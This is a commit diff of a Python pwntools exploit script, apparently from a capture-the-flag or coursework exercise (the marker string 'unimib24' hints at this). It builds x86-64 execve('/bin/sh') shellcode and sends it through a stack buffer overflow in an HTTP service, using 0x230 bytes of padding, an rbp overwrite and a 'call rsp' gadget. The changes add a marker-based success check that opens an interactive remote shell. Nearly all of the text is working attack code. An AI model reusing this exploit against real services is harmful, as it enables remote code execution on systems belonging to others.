@@ -34,9 +34,9 @@ def run_expl():
34
34
shellcode_payload = f"""
35
35
36
36
{ c ("----------------------------------------" )}
37
- { c ("This block is just to test the socket IO " )}
37
+ { c ("print a marker string to test the socket" )}
38
38
{ c ("----------------------------------------" )}
39
- mov rax, 0x6161616161616161
39
+ mov rax, 0x343262696d696e75 { c ( "string unimib24" ) }
40
40
push rax
41
41
push rsp
42
42
pop rsi { c ("pointer to the string" )}
@@ -75,13 +75,13 @@ def run_expl():
75
75
mov rax, 0x0068732f6e69622f { c ("string /bin/sh" )}
76
76
push rax
77
77
push rsp
78
- pop rdi { c ("pointer to the string" )}
78
+ pop rdi { c ("pointer to the string" )}
79
79
80
- mov rax, 0x3b { c ("execve syscall" )}
80
+ mov rax, 0x3b { c ("execve syscall" )}
81
81
push 0
82
82
push rsp
83
- pop rsi { c (" *const *argv" )}
84
- mov rdx, rsi { c (" *const *envp" )}
83
+ pop rsi { c (" *const *argv" )}
84
+ mov rdx, rsi { c (" *const *envp" )}
85
85
syscall
86
86
"""
87
87
@@ -90,11 +90,11 @@ def run_expl():
90
90
print (shellcode_bytes )
91
91
92
92
# buffer overflow
93
- padding_size = 0x230 # tiny no-protections
93
+ padding_size = 0x230 # tiny no-protections
94
94
expl = b''
95
95
expl += b'a' * padding_size
96
- expl += b'b' * 8 # overwrite rbp
97
- expl += p64 (0x4283fb ) # gadget: call rsp;
96
+ expl += b'b' * 8 # overwrite rbp
97
+ expl += p64 (0x4283fb ) # gadget: call rsp;
98
98
expl += shellcode_bytes
99
99
100
100
#url encode all the bytes that would block the http parser
@@ -110,11 +110,14 @@ def run_expl():
110
110
out = p .recvuntil (b'File not found' )
111
111
print (out )
112
112
113
- print ("--- exploit out---" )
114
- #out = p.clean(timeout=1)
115
- #print(out)
116
- # p.close()
117
-
118
- p .interactive ()
113
+ good_omen = p .recvuntil (b'unimib24' , timeout = 1 )
114
+ if not good_omen :
115
+ print ("exploitation failed" )
116
+ out = p .clean (timeout = 1 )
117
+ print (out )
118
+ p .close ()
119
+ else :
120
+ print ("remote shell started! type a command" )
121
+ p .interactive ()
119
122
120
123
run_expl ()
0 commit comments